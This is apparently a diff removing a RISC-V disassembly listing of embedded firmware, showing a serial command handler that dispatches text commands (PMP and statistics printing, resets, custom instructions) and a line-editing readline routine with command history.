-20402448:	e131                	bnez	a0,2040248c <cmd_handler+0x1a0>
-2040244a:	cc85                	beqz	s1,20402482 <cmd_handler+0x196>
-2040244c:	02090b63          	beqz	s2,20402482 <cmd_handler+0x196>
-20402450:	02098963          	beqz	s3,20402482 <cmd_handler+0x196>
-20402454:	4641                	li	a2,16
-20402456:	4581                	li	a1,0
-20402458:	8526                	mv	a0,s1
-2040245a:	432010ef          	jal	ra,2040388c <strtoul>
-2040245e:	10040437          	lui	s0,0x10040
-20402462:	c428                	sw	a0,72(s0)
-20402464:	4641                	li	a2,16
-20402466:	4581                	li	a1,0
-20402468:	854a                	mv	a0,s2
-2040246a:	422010ef          	jal	ra,2040388c <strtoul>
-2040246e:	c468                	sw	a0,76(s0)
-20402470:	4641                	li	a2,16
-20402472:	4581                	li	a1,0
-20402474:	854e                	mv	a0,s3
-20402476:	416010ef          	jal	ra,2040388c <strtoul>
-2040247a:	c828                	sw	a0,80(s0)
-2040247c:	4785                	li	a5,1
-2040247e:	c07c                	sw	a5,68(s0)
-20402480:	b74d                	j	20402422 <cmd_handler+0x136>
-20402482:	00003517          	auipc	a0,0x3
-20402486:	43e50513          	addi	a0,a0,1086 # 204058c0 <_exit+0x6aa>
-2040248a:	b709                	j	2040238c <cmd_handler+0xa0>
-2040248c:	00003597          	auipc	a1,0x3
-20402490:	45458593          	addi	a1,a1,1108 # 204058e0 <_exit+0x6ca>
-20402494:	8522                	mv	a0,s0
-20402496:	7b9000ef          	jal	ra,2040344e <strcmp>
-2040249a:	e939                	bnez	a0,204024f0 <cmd_handler+0x204>
-2040249c:	c4a9                	beqz	s1,204024e6 <cmd_handler+0x1fa>
-2040249e:	0004c783          	lbu	a5,0(s1)
-204024a2:	470d                	li	a4,3
-204024a4:	fcf78793          	addi	a5,a5,-49
-204024a8:	0ff7f793          	andi	a5,a5,255
-204024ac:	02f76d63          	bltu	a4,a5,204024e6 <cmd_handler+0x1fa>
-204024b0:	02090b63          	beqz	s2,204024e6 <cmd_handler+0x1fa>
-204024b4:	4641                	li	a2,16
-204024b6:	85ca                	mv	a1,s2
-204024b8:	850a                	mv	a0,sp
-204024ba:	7d1000ef          	jal	ra,2040348a <strncpy>
-204024be:	0004c503          	lbu	a0,0(s1)
-204024c2:	fd050513          	addi	a0,a0,-48
-204024c6:	85aa                	mv	a1,a0
-204024c8:	4602                	lw	a2,0(sp)
-204024ca:	4692                	lw	a3,4(sp)
-204024cc:	4722                	lw	a4,8(sp)
-204024ce:	47b2                	lw	a5,12(sp)
-204024d0:	4509                	li	a0,2
-204024d2:	00300073          	0x300073
-204024d6:	f531                	bnez	a0,20402422 <cmd_handler+0x136>
-204024d8:	00003517          	auipc	a0,0x3
-204024dc:	41050513          	addi	a0,a0,1040 # 204058e8 <_exit+0x6d2>
-204024e0:	3b5000ef          	jal	ra,20403094 <iprintf>
-204024e4:	bf3d                	j	20402422 <cmd_handler+0x136>
-204024e6:	00003517          	auipc	a0,0x3
-204024ea:	41650513          	addi	a0,a0,1046 # 204058fc <_exit+0x6e6>
-204024ee:	bd79                	j	2040238c <cmd_handler+0xa0>
-204024f0:	00003597          	auipc	a1,0x3
-204024f4:	43058593          	addi	a1,a1,1072 # 20405920 <_exit+0x70a>
-204024f8:	8522                	mv	a0,s0
-204024fa:	755000ef          	jal	ra,2040344e <strcmp>
-204024fe:	e921                	bnez	a0,2040254e <cmd_handler+0x262>
-20402500:	c0b1                	beqz	s1,20402544 <cmd_handler+0x258>
-20402502:	0004c783          	lbu	a5,0(s1)
-20402506:	468d                	li	a3,3
-20402508:	fcf78713          	addi	a4,a5,-49
-2040250c:	0ff77713          	andi	a4,a4,255
-20402510:	02e6ea63          	bltu	a3,a4,20402544 <cmd_handler+0x258>
-20402514:	fd078793          	addi	a5,a5,-48
-20402518:	85be                	mv	a1,a5
-2040251a:	450d                	li	a0,3
-2040251c:	00300073          	0x300073
-20402520:	c032                	sw	a2,0(sp)
-20402522:	c236                	sw	a3,4(sp)
-20402524:	c43a                	sw	a4,8(sp)
-20402526:	c63e                	sw	a5,12(sp)
-20402528:	c909                	beqz	a0,2040253a <cmd_handler+0x24e>
-2040252a:	858a                	mv	a1,sp
-2040252c:	00003517          	auipc	a0,0x3
-20402530:	3fc50513          	addi	a0,a0,1020 # 20405928 <_exit+0x712>
-20402534:	361000ef          	jal	ra,20403094 <iprintf>
-20402538:	b5ed                	j	20402422 <cmd_handler+0x136>
-2040253a:	00003517          	auipc	a0,0x3
-2040253e:	3fe50513          	addi	a0,a0,1022 # 20405938 <_exit+0x722>
-20402542:	bf79                	j	204024e0 <cmd_handler+0x1f4>
-20402544:	00003517          	auipc	a0,0x3
-20402548:	40c50513          	addi	a0,a0,1036 # 20405950 <_exit+0x73a>
-2040254c:	b581                	j	2040238c <cmd_handler+0xa0>
-2040254e:	00003597          	auipc	a1,0x3
-20402552:	41e58593          	addi	a1,a1,1054 # 2040596c <_exit+0x756>
-20402556:	8522                	mv	a0,s0
-20402558:	6f7000ef          	jal	ra,2040344e <strcmp>
-2040255c:	ed0d                	bnez	a0,20402596 <cmd_handler+0x2aa>
-2040255e:	4735                	li	a4,13
-20402560:	85ba                	mv	a1,a4
-20402562:	4521                	li	a0,8
-20402564:	00300073          	0x300073
-20402568:	87aa                	mv	a5,a0
-2040256a:	4501                	li	a0,0
-2040256c:	00300073          	0x300073
-20402570:	85ba                	mv	a1,a4
-20402572:	4521                	li	a0,8
-20402574:	00300073          	0x300073
-20402578:	40f505b3          	sub	a1,a0,a5
-2040257c:	0065d613          	srli	a2,a1,0x6
-20402580:	00003517          	auipc	a0,0x3
-20402584:	28850513          	addi	a0,a0,648 # 20405808 <_exit+0x5f2>
-20402588:	de0596e3          	bnez	a1,20402374 <cmd_handler+0x88>
-2040258c:	00003517          	auipc	a0,0x3
-20402590:	2a450513          	addi	a0,a0,676 # 20405830 <_exit+0x61a>
-20402594:	b3c5                	j	20402374 <cmd_handler+0x88>
-20402596:	00003597          	auipc	a1,0x3
-2040259a:	3de58593          	addi	a1,a1,990 # 20405974 <_exit+0x75e>
-2040259e:	8522                	mv	a0,s0
-204025a0:	6af000ef          	jal	ra,2040344e <strcmp>
-204025a4:	e15d                	bnez	a0,2040264a <cmd_handler+0x35e>
-204025a6:	ccc9                	beqz	s1,20402640 <cmd_handler+0x354>
-204025a8:	4629                	li	a2,10
-204025aa:	8526                	mv	a0,s1
-204025ac:	4581                	li	a1,0
-204025ae:	1c2010ef          	jal	ra,20403770 <strtoull>
-204025b2:	1ed000ef          	jal	ra,20402f9e <abs>
-204025b6:	872a                	mv	a4,a0
-204025b8:	4511                	li	a0,4
-204025ba:	00300073          	0x300073
-204025be:	6791                	lui	a5,0x4
-204025c0:	02078793          	addi	a5,a5,32 # 4020 <__stack_size+0x3820>
-204025c4:	842e                	mv	s0,a1
-204025c6:	892a                	mv	s2,a0
-204025c8:	02f715b3          	mulh	a1,a4,a5
-204025cc:	3e800613          	li	a2,1000
-204025d0:	4681                	li	a3,0
-204025d2:	02f70533          	mul	a0,a4,a5
-204025d6:	668000ef          	jal	ra,20402c3e <__udivdi3>
-204025da:	01250733          	add	a4,a0,s2
-204025de:	00a737b3          	sltu	a5,a4,a0
-204025e2:	95a2                	add	a1,a1,s0
-204025e4:	97ae                	add	a5,a5,a1
-204025e6:	85ba                	mv	a1,a4
-204025e8:	863e                	mv	a2,a5
-204025ea:	4519                	li	a0,6
-204025ec:	00300073          	0x300073
-204025f0:	3e800493          	li	s1,1000
-204025f4:	02f487b3          	mul	a5,s1,a5
-204025f8:	6611                	lui	a2,0x4
-204025fa:	02060613          	addi	a2,a2,32 # 4020 <__stack_size+0x3820>
-204025fe:	4681                	li	a3,0
-20402600:	02e4b5b3          	mulhu	a1,s1,a4
-20402604:	02e48533          	mul	a0,s1,a4
-20402608:	95be                	add	a1,a1,a5
-2040260a:	2d15                	jal	20402c3e <__udivdi3>
-2040260c:	02848433          	mul	s0,s1,s0
-20402610:	89aa                	mv	s3,a0
-20402612:	6611                	lui	a2,0x4
-20402614:	4681                	li	a3,0
-20402616:	02060613          	addi	a2,a2,32 # 4020 <__stack_size+0x3820>
-2040261a:	0324b5b3          	mulhu	a1,s1,s2
-2040261e:	03248533          	mul	a0,s1,s2
-20402622:	95a2                	add	a1,a1,s0
-20402624:	2d29                	jal	20402c3e <__udivdi3>
-20402626:	85aa                	mv	a1,a0
-20402628:	864e                	mv	a2,s3
-2040262a:	00003517          	auipc	a0,0x3
-2040262e:	35250513          	addi	a0,a0,850 # 2040597c <_exit+0x766>
-20402632:	263000ef          	jal	ra,20403094 <iprintf>
-20402636:	08000793          	li	a5,128
-2040263a:	3047a7f3          	csrrs	a5,mie,a5
-2040263e:	b3d5                	j	20402422 <cmd_handler+0x136>
-20402640:	00003517          	auipc	a0,0x3
-20402644:	35850513          	addi	a0,a0,856 # 20405998 <_exit+0x782>
-20402648:	b391                	j	2040238c <cmd_handler+0xa0>
-2040264a:	00003597          	auipc	a1,0x3
-2040264e:	36258593          	addi	a1,a1,866 # 204059ac <_exit+0x796>
-20402652:	8522                	mv	a0,s0
-20402654:	5fb000ef          	jal	ra,2040344e <strcmp>
-20402658:	e909                	bnez	a0,2040266a <cmd_handler+0x37e>
-2040265a:	5422                	lw	s0,40(sp)
-2040265c:	50b2                	lw	ra,44(sp)
-2040265e:	5492                	lw	s1,36(sp)
-20402660:	5902                	lw	s2,32(sp)
-20402662:	49f2                	lw	s3,28(sp)
-20402664:	6145                	addi	sp,sp,48
-20402666:	f9eff06f          	j	20401e04 <print_stats>
-2040266a:	00003597          	auipc	a1,0x3
-2040266e:	34a58593          	addi	a1,a1,842 # 204059b4 <_exit+0x79e>
-20402672:	8522                	mv	a0,s0
-20402674:	5db000ef          	jal	ra,2040344e <strcmp>
-20402678:	e501                	bnez	a0,20402680 <cmd_handler+0x394>
-2040267a:	986ff06f          	j	20401800 <_start>
-2040267e:	b355                	j	20402422 <cmd_handler+0x136>
-20402680:	00003597          	auipc	a1,0x3
-20402684:	33c58593          	addi	a1,a1,828 # 204059bc <_exit+0x7a6>
-20402688:	8522                	mv	a0,s0
-2040268a:	5c5000ef          	jal	ra,2040344e <strcmp>
-2040268e:	e901                	bnez	a0,2040269e <cmd_handler+0x3b2>
-20402690:	5422                	lw	s0,40(sp)
-20402692:	50b2                	lw	ra,44(sp)
-20402694:	5492                	lw	s1,36(sp)
-20402696:	5902                	lw	s2,32(sp)
-20402698:	49f2                	lw	s3,28(sp)
-2040269a:	6145                	addi	sp,sp,48
-2040269c:	bac1                	j	2040206c <print_pmp>
-2040269e:	00003597          	auipc	a1,0x3
-204026a2:	32258593          	addi	a1,a1,802 # 204059c0 <_exit+0x7aa>
-204026a6:	8522                	mv	a0,s0
-204026a8:	5a7000ef          	jal	ra,2040344e <strcmp>
-204026ac:	e501                	bnez	a0,204026b4 <cmd_handler+0x3c8>
-204026ae:	00000073          	ecall
-204026b2:	bb85                	j	20402422 <cmd_handler+0x136>
-204026b4:	00003597          	auipc	a1,0x3
-204026b8:	31458593          	addi	a1,a1,788 # 204059c8 <_exit+0x7b2>
-204026bc:	8522                	mv	a0,s0
-204026be:	591000ef          	jal	ra,2040344e <strcmp>
-204026c2:	e515                	bnez	a0,204026ee <cmd_handler+0x402>
-204026c4:	47b5                	li	a5,13
-204026c6:	85be                	mv	a1,a5
-204026c8:	4521                	li	a0,8
-204026ca:	00300073          	0x300073
-204026ce:	862a                	mv	a2,a0
-204026d0:	34402773          	csrr	a4,mip
-204026d4:	c03a                	sw	a4,0(sp)
-204026d6:	85be                	mv	a1,a5
-204026d8:	4521                	li	a0,8
-204026da:	00300073          	0x300073
-204026de:	40c50633          	sub	a2,a0,a2
-204026e2:	4582                	lw	a1,0(sp)
-204026e4:	00003517          	auipc	a0,0x3
-204026e8:	2ec50513          	addi	a0,a0,748 # 204059d0 <_exit+0x7ba>
-204026ec:	b161                	j	20402374 <cmd_handler+0x88>
-204026ee:	00003517          	auipc	a0,0x3
-204026f2:	2fa50513          	addi	a0,a0,762 # 204059e8 <_exit+0x7d2>
-204026f6:	b959                	j	2040238c <cmd_handler+0xa0>
-
-204026f8 <readline>:
-204026f8:	7139                	addi	sp,sp,-64
-204026fa:	dc22                	sw	s0,56(sp)
-204026fc:	da26                	sw	s1,52(sp)
-204026fe:	d64e                	sw	s3,44(sp)
-20402700:	d452                	sw	s4,40(sp)
-20402702:	d256                	sw	s5,36(sp)
-20402704:	d05a                	sw	s6,32(sp)
-20402706:	de06                	sw	ra,60(sp)
-20402708:	d84a                	sw	s2,48(sp)
-2040270a:	ce5e                	sw	s7,28(sp)
-2040270c:	82818993          	addi	s3,gp,-2008 # 8000d898 <buffer>
-20402710:	81018a93          	addi	s5,gp,-2032 # 8000d880 <esc.3>
-20402714:	81418413          	addi	s0,gp,-2028 # 8000d884 <p.2>
-20402718:	95818493          	addi	s1,gp,-1704 # 8000d9c8 <inputline>
-2040271c:	5fc0ba17          	auipc	s4,0x5fc0b
-20402720:	158a0a13          	addi	s4,s4,344 # 8000d874 <h.1>
-20402724:	85018b13          	addi	s6,gp,-1968 # 8000d8c0 <history.0>
-20402728:	0249a703          	lw	a4,36(s3)
-2040272c:	0209a783          	lw	a5,32(s3)
-20402730:	00e7c463          	blt	a5,a4,20402738 <readline+0x40>
-20402734:	4501                	li	a0,0
-20402736:	a699                	j	20402a7c <readline+0x384>
-20402738:	0c002737          	lui	a4,0xc002
-2040273c:	431c                	lw	a5,0(a4)
-2040273e:	9bdd                	andi	a5,a5,-9
-20402740:	c31c                	sw	a5,0(a4)
-20402742:	0209a783          	lw	a5,32(s3)
-20402746:	00178713          	addi	a4,a5,1
-2040274a:	02e9a023          	sw	a4,32(s3)
-2040274e:	0209a683          	lw	a3,32(s3)
-20402752:	0249a703          	lw	a4,36(s3)
-20402756:	97ce                	add	a5,a5,s3
-20402758:	0007c783          	lbu	a5,0(a5)
-2040275c:	00e6c663          	blt	a3,a4,20402768 <readline+0x70>
-20402760:	8401a423          	sw	zero,-1976(gp) # 8000d8b8 <buffer+0x20>
-20402764:	8401a623          	sw	zero,-1972(gp) # 8000d8bc <buffer+0x24>
-20402768:	0c0026b7          	lui	a3,0xc002
-2040276c:	4298                	lw	a4,0(a3)
-2040276e:	00876713          	ori	a4,a4,8
-20402772:	c298                	sw	a4,0(a3)
-20402774:	476d                	li	a4,27
-20402776:	00e79663          	bne	a5,a4,20402782 <readline+0x8a>
-2040277a:	4785                	li	a5,1
-2040277c:	00faa023          	sw	a5,0(s5)
-20402780:	b765                	j	20402728 <readline+0x30>
-20402782:	000aa703          	lw	a4,0(s5)
-20402786:	4685                	li	a3,1
-20402788:	00d71863          	bne	a4,a3,20402798 <readline+0xa0>
-2040278c:	05b00693          	li	a3,91
-20402790:	30d79463          	bne	a5,a3,20402a98 <readline+0x3a0>
-20402794:	4789                	li	a5,2
-20402796:	b7dd                	j	2040277c <readline+0x84>
-20402798:	4689                	li	a3,2
-2040279a:	2ed71c63          	bne	a4,a3,20402a92 <readline+0x39a>
-2040279e:	03300693          	li	a3,51
-204027a2:	08d79063          	bne	a5,a3,20402822 <readline+0x12a>
-204027a6:	478d                	li	a5,3
-204027a8:	bfd1                	j	2040277c <readline+0x84>
-204027aa:	07e00693          	li	a3,126
-204027ae:	2ed79563          	bne	a5,a3,20402a98 <readline+0x3a0>
-204027b2:	00042903          	lw	s2,0(s0) # 10040000 <__stack_size+0x1003f800>
-204027b6:	01248bb3          	add	s7,s1,s2
-204027ba:	8526                	mv	a0,s1
-204027bc:	4bd000ef          	jal	ra,20403478 <strlen>
-204027c0:	0b85                	addi	s7,s7,1
-204027c2:	04a96a63          	bltu	s2,a0,20402816 <readline+0x11e>
-204027c6:	4609                	li	a2,2
-204027c8:	00003597          	auipc	a1,0x3
-204027cc:	26858593          	addi	a1,a1,616 # 20405a30 <_exit+0x81a>
-204027d0:	4505                	li	a0,1
-204027d2:	100010ef          	jal	ra,204038d2 <write>
-204027d6:	460d                	li	a2,3
-204027d8:	00003597          	auipc	a1,0x3
-204027dc:	25c58593          	addi	a1,a1,604 # 20405a34 <_exit+0x81e>
-204027e0:	4505                	li	a0,1
-204027e2:	0f0010ef          	jal	ra,204038d2 <write>
-204027e6:	400c                	lw	a1,0(s0)
-204027e8:	8526                	mv	a0,s1
-204027ea:	95a6                	add	a1,a1,s1
-204027ec:	c62e                	sw	a1,12(sp)
-204027ee:	48b000ef          	jal	ra,20403478 <strlen>
-204027f2:	4010                	lw	a2,0(s0)
-204027f4:	45b2                	lw	a1,12(sp)
-204027f6:	40c50633          	sub	a2,a0,a2
-204027fa:	4505                	li	a0,1
-204027fc:	0d6010ef          	jal	ra,204038d2 <write>
-20402800:	4609                	li	a2,2
-20402802:	00003597          	auipc	a1,0x3
-20402806:	23658593          	addi	a1,a1,566 # 20405a38 <_exit+0x822>
-2040280a:	4505                	li	a0,1
-2040280c:	0c6010ef          	jal	ra,204038d2 <write>
-20402810:	8001a823          	sw	zero,-2032(gp) # 8000d880 <esc.3>
-20402814:	bf11                	j	20402728 <readline+0x30>
-20402816:	000bc783          	lbu	a5,0(s7)
-2040281a:	0905                	addi	s2,s2,1
-2040281c:	fefb8fa3          	sb	a5,-1(s7)
-20402820:	bf69                	j	204027ba <readline+0xc2>
-20402822:	04300693          	li	a3,67
-20402826:	02d79263          	bne	a5,a3,2040284a <readline+0x152>
-2040282a:	8526                	mv	a0,s1
-2040282c:	8001a823          	sw	zero,-2032(gp) # 8000d880 <esc.3>
-20402830:	449000ef          	jal	ra,20403478 <strlen>
-20402834:	401c                	lw	a5,0(s0)
-20402836:	eea7f9e3          	bgeu	a5,a0,20402728 <readline+0x30>
-2040283a:	0785                	addi	a5,a5,1
-2040283c:	c01c                	sw	a5,0(s0)
-2040283e:	460d                	li	a2,3
-20402840:	00003597          	auipc	a1,0x3
-20402844:	1fc58593          	addi	a1,a1,508 # 20405a3c <_exit+0x826>
-20402848:	a00d                	j	2040286a <readline+0x172>
-2040284a:	04400693          	li	a3,68
-2040284e:	02d79263          	bne	a5,a3,20402872 <readline+0x17a>
-20402852:	8001a823          	sw	zero,-2032(gp) # 8000d880 <esc.3>
-20402856:	401c                	lw	a5,0(s0)
-20402858:	ecf058e3          	blez	a5,20402728 <readline+0x30>
-2040285c:	17fd                	addi	a5,a5,-1
-2040285e:	c01c                	sw	a5,0(s0)
-20402860:	460d                	li	a2,3
-20402862:	00003597          	auipc	a1,0x3
-20402866:	1de58593          	addi	a1,a1,478 # 20405a40 <_exit+0x82a>
-2040286a:	4505                	li	a0,1
-2040286c:	066010ef          	jal	ra,204038d2 <write>
-20402870:	bd65                	j	20402728 <readline+0x30>
-20402872:	04100693          	li	a3,65
-20402876:	06d79b63          	bne	a5,a3,204028ec <readline+0x1f4>
-2040287a:	000a2503          	lw	a0,0(s4)
-2040287e:	8001a823          	sw	zero,-2032(gp) # 8000d880 <esc.3>
-20402882:	4799                	li	a5,6
-20402884:	eaa7c2e3          	blt	a5,a0,20402728 <readline+0x30>
-20402888:	0505                	addi	a0,a0,1
-2040288a:	02100913          	li	s2,33
-2040288e:	03250533          	mul	a0,a0,s2
-20402892:	955a                	add	a0,a0,s6
-20402894:	3e5000ef          	jal	ra,20403478 <strlen>
-20402898:	e80508e3          	beqz	a0,20402728 <readline+0x30>
-2040289c:	000a2583          	lw	a1,0(s4)
-204028a0:	0585                	addi	a1,a1,1
-204028a2:	00ba2023          	sw	a1,0(s4)
-204028a6:	032585b3          	mul	a1,a1,s2
-204028aa:	95da                	add	a1,a1,s6
-204028ac:	8526                	mv	a0,s1
-204028ae:	3b9000ef          	jal	ra,20403466 <strcpy>
-204028b2:	4611                	li	a2,4
-204028b4:	00003597          	auipc	a1,0x3
-204028b8:	19058593          	addi	a1,a1,400 # 20405a44 <_exit+0x82e>
-204028bc:	4505                	li	a0,1
-204028be:	014010ef          	jal	ra,204038d2 <write>
-204028c2:	4619                	li	a2,6
-204028c4:	00003597          	auipc	a1,0x3
-204028c8:	18858593          	addi	a1,a1,392 # 20405a4c <_exit+0x836>
-204028cc:	4505                	li	a0,1
-204028ce:	004010ef          	jal	ra,204038d2 <write>
-204028d2:	8526                	mv	a0,s1
-204028d4:	3a5000ef          	jal	ra,20403478 <strlen>
-204028d8:	862a                	mv	a2,a0
-204028da:	85a6                	mv	a1,s1
-204028dc:	4505                	li	a0,1
-204028de:	7f5000ef          	jal	ra,204038d2 <write>
-204028e2:	8526                	mv	a0,s1
-204028e4:	395000ef          	jal	ra,20403478 <strlen>
-204028e8:	c008                	sw	a0,0(s0)
-204028ea:	bd3d                	j	20402728 <readline+0x30>
-204028ec:	04200693          	li	a3,66
-204028f0:	1ad79463          	bne	a5,a3,20402a98 <readline+0x3a0>
-204028f4:	000a2503          	lw	a0,0(s4)
-204028f8:	8001a823          	sw	zero,-2032(gp) # 8000d880 <esc.3>
-204028fc:	e2a056e3          	blez	a0,20402728 <readline+0x30>
-20402900:	157d                	addi	a0,a0,-1
-20402902:	02100793          	li	a5,33
-20402906:	02f50533          	mul	a0,a0,a5
-2040290a:	955a                	add	a0,a0,s6
-2040290c:	36d000ef          	jal	ra,20403478 <strlen>
-20402910:	e0050ce3          	beqz	a0,20402728 <readline+0x30>
-20402914:	000a2583          	lw	a1,0(s4)
-20402918:	02100793          	li	a5,33
-2040291c:	15fd                	addi	a1,a1,-1
-2040291e:	00ba2023          	sw	a1,0(s4)
-20402922:	02f585b3          	mul	a1,a1,a5
-20402926:	b751                	j	204028aa <readline+0x1b2>
-20402928:	00094783          	lbu	a5,0(s2)
-2040292c:	0b85                	addi	s7,s7,1
-2040292e:	0905                	addi	s2,s2,1
-20402930:	fef90f23          	sb	a5,-2(s2)
-20402934:	a261                	j	20402abc <readline+0x3c4>
-20402936:	fe078693          	addi	a3,a5,-32
-2040293a:	0ff6f693          	andi	a3,a3,255
-2040293e:	05e00613          	li	a2,94
-20402942:	06d66f63          	bltu	a2,a3,204029c0 <readline+0x2c8>
-20402946:	4014                	lw	a3,0(s0)
-20402948:	467d                	li	a2,31
-2040294a:	ecd663e3          	bltu	a2,a3,20402810 <readline+0x118>
-2040294e:	ec0711e3          	bnez	a4,20402810 <readline+0x118>
-20402952:	95818713          	addi	a4,gp,-1704 # 8000d9c8 <inputline>
-20402956:	893a                	mv	s2,a4
-20402958:	177d                	addi	a4,a4,-1
-2040295a:	04c69d63          	bne	a3,a2,204029b4 <readline+0x2bc>
-2040295e:	96ca                	add	a3,a3,s2
-20402960:	4609                	li	a2,2
-20402962:	00003597          	auipc	a1,0x3
-20402966:	0ce58593          	addi	a1,a1,206 # 20405a30 <_exit+0x81a>
-2040296a:	4505                	li	a0,1
-2040296c:	00f68023          	sb	a5,0(a3) # c002000 <__stack_size+0xc001800>
-20402970:	763000ef          	jal	ra,204038d2 <write>
-20402974:	460d                	li	a2,3
-20402976:	00003597          	auipc	a1,0x3
-2040297a:	0be58593          	addi	a1,a1,190 # 20405a34 <_exit+0x81e>
-2040297e:	4505                	li	a0,1
-20402980:	753000ef          	jal	ra,204038d2 <write>
-20402984:	400c                	lw	a1,0(s0)
-20402986:	8526                	mv	a0,s1
-20402988:	992e                	add	s2,s2,a1
-2040298a:	2ef000ef          	jal	ra,20403478 <strlen>
-2040298e:	4010                	lw	a2,0(s0)
-20402990:	85ca                	mv	a1,s2
-20402992:	40c50633          	sub	a2,a0,a2
-20402996:	4505                	li	a0,1
-20402998:	73b000ef          	jal	ra,204038d2 <write>
-2040299c:	401c                	lw	a5,0(s0)
-2040299e:	4609                	li	a2,2
-204029a0:	00003597          	auipc	a1,0x3
-204029a4:	09858593          	addi	a1,a1,152 # 20405a38 <_exit+0x822>
-204029a8:	0785                	addi	a5,a5,1
-204029aa:	4505                	li	a0,1
-204029ac:	c01c                	sw	a5,0(s0)
-204029ae:	725000ef          	jal	ra,204038d2 <write>
-204029b2:	b571                	j	2040283e <readline+0x146>
-204029b4:	01f74583          	lbu	a1,31(a4) # c00201f <__stack_size+0xc00181f>
-204029b8:	167d                	addi	a2,a2,-1
-204029ba:	02b70023          	sb	a1,32(a4)
-204029be:	bf69                	j	20402958 <readline+0x260>
-204029c0:	4735                	li	a4,13
-204029c2:	e4e797e3          	bne	a5,a4,20402810 <readline+0x118>
-204029c6:	8001aa23          	sw	zero,-2028(gp) # 8000d884 <p.2>
-204029ca:	8001a823          	sw	zero,-2032(gp) # 8000d880 <esc.3>
-204029ce:	95818493          	addi	s1,gp,-1704 # 8000d9c8 <inputline>
-204029d2:	02000413          	li	s0,32
-204029d6:	95818513          	addi	a0,gp,-1704 # 8000d9c8 <inputline>
-204029da:	29f000ef          	jal	ra,20403478 <strlen>
-204029de:	9526                	add	a0,a0,s1
-204029e0:	fff54783          	lbu	a5,-1(a0)
-204029e4:	00878e63          	beq	a5,s0,20402a00 <readline+0x308>
-204029e8:	02000993          	li	s3,32
-204029ec:	95818a13          	addi	s4,gp,-1704 # 8000d9c8 <inputline>
-204029f0:	0004c783          	lbu	a5,0(s1)
-204029f4:	03379963          	bne	a5,s3,20402a26 <readline+0x32e>
-204029f8:	95818413          	addi	s0,gp,-1704 # 8000d9c8 <inputline>
-204029fc:	4901                	li	s2,0
-204029fe:	a829                	j	20402a18 <readline+0x320>
-20402a00:	8526                	mv	a0,s1
-20402a02:	277000ef          	jal	ra,20403478 <strlen>
-20402a06:	9526                	add	a0,a0,s1
-20402a08:	fe050fa3          	sb	zero,-1(a0)
-20402a0c:	b7e9                	j	204029d6 <readline+0x2de>
-20402a0e:	00044783          	lbu	a5,0(s0)
-20402a12:	0905                	addi	s2,s2,1
-20402a14:	fef40fa3          	sb	a5,-1(s0)
-20402a18:	8552                	mv	a0,s4
-20402a1a:	25f000ef          	jal	ra,20403478 <strlen>
-20402a1e:	0405                	addi	s0,s0,1
-20402a20:	fea967e3          	bltu	s2,a0,20402a0e <readline+0x316>
-20402a24:	b7f1                	j	204029f0 <readline+0x2f8>
-20402a26:	95818513          	addi	a0,gp,-1704 # 8000d9c8 <inputline>
-20402a2a:	24f000ef          	jal	ra,20403478 <strlen>
-20402a2e:	c90d                	beqz	a0,20402a60 <readline+0x368>
-20402a30:	85018493          	addi	s1,gp,-1968 # 8000d8c0 <history.0>
-20402a34:	85a6                	mv	a1,s1
-20402a36:	95818513          	addi	a0,gp,-1704 # 8000d9c8 <inputline>
-20402a3a:	215000ef          	jal	ra,2040344e <strcmp>
-20402a3e:	c10d                	beqz	a0,20402a60 <readline+0x368>
-20402a40:	93718413          	addi	s0,gp,-1737 # 8000d9a7 <history.0+0xe7>
-20402a44:	8522                	mv	a0,s0
-20402a46:	fdf40413          	addi	s0,s0,-33
-20402a4a:	85a2                	mv	a1,s0
-20402a4c:	21b000ef          	jal	ra,20403466 <strcpy>
-20402a50:	fe849ae3          	bne	s1,s0,20402a44 <readline+0x34c>
-20402a54:	95818593          	addi	a1,gp,-1704 # 8000d9c8 <inputline>
-20402a58:	85018513          	addi	a0,gp,-1968 # 8000d8c0 <history.0>
-20402a5c:	20b000ef          	jal	ra,20403466 <strcpy>
-20402a60:	57fd                	li	a5,-1
-20402a62:	4605                	li	a2,1
-20402a64:	00003597          	auipc	a1,0x3
-20402a68:	dd858593          	addi	a1,a1,-552 # 2040583c <_exit+0x626>
-20402a6c:	4505                	li	a0,1
-20402a6e:	5fc0b717          	auipc	a4,0x5fc0b
-20402a72:	e0f72323          	sw	a5,-506(a4) # 8000d874 <h.1>
-20402a76:	65d000ef          	jal	ra,204038d2 <write>
-20402a7a:	4505                	li	a0,1
-20402a7c:	50f2                	lw	ra,60(sp)
-20402a7e:	5462                	lw	s0,56(sp)
-20402a80:	54d2                	lw	s1,52(sp)
-20402a82:	5942                	lw	s2,48(sp)
-20402a84:	59b2                	lw	s3,44(sp)
-20402a86:	5a22                	lw	s4,40(sp)
-20402a88:	5a92                	lw	s5,36(sp)
-20402a8a:	5b02                	lw	s6,32(sp)
-20402a8c:	4bf2                	lw	s7,28(sp)
-20402a8e:	6121                	addi	sp,sp,64
-20402a90:	8082                	ret
-20402a92:	468d                	li	a3,3
-20402a94:	d0d70be3          	beq	a4,a3,204027aa <readline+0xb2>
-20402a98:	46a1                	li	a3,8
-20402a9a:	00d78663          	beq	a5,a3,20402aa6 <readline+0x3ae>
-20402a9e:	07f00693          	li	a3,127
-20402aa2:	e8d79ae3          	bne	a5,a3,20402936 <readline+0x23e>
-20402aa6:	00042903          	lw	s2,0(s0)
-20402aaa:	e92056e3          	blez	s2,20402936 <readline+0x23e>
-20402aae:	e80714e3          	bnez	a4,20402936 <readline+0x23e>
-20402ab2:	fff90b93          	addi	s7,s2,-1
-20402ab6:	01742023          	sw	s7,0(s0)
-20402aba:	9926                	add	s2,s2,s1
-20402abc:	8526                	mv	a0,s1
-20402abe:	1bb000ef          	jal	ra,20403478 <strlen>
-20402ac2:	e6abe3e3          	bltu	s7,a0,20402928 <readline+0x230>
-20402ac6:	460d                	li	a2,3
-20402ac8:	00003597          	auipc	a1,0x3
-20402acc:	f7858593          	addi	a1,a1,-136 # 20405a40 <_exit+0x82a>
-20402ad0:	4505                	li	a0,1
-20402ad2:	601000ef          	jal	ra,204038d2 <write>
-20402ad6:	4609                	li	a2,2
-20402ad8:	00003597          	auipc	a1,0x3
-20402adc:	f5858593          	addi	a1,a1,-168 # 20405a30 <_exit+0x81a>
-20402ae0:	4505                	li	a0,1
-20402ae2:	5f1000ef          	jal	ra,204038d2 <write>
-20402ae6:	460d                	li	a2,3
-20402ae8:	00003597          	auipc	a1,0x3
-20402aec:	f4c58593          	addi	a1,a1,-180 # 20405a34 <_exit+0x81e>
-20402af0:	4505                	li	a0,1
-20402af2:	5e1000ef          	jal	ra,204038d2 <write>
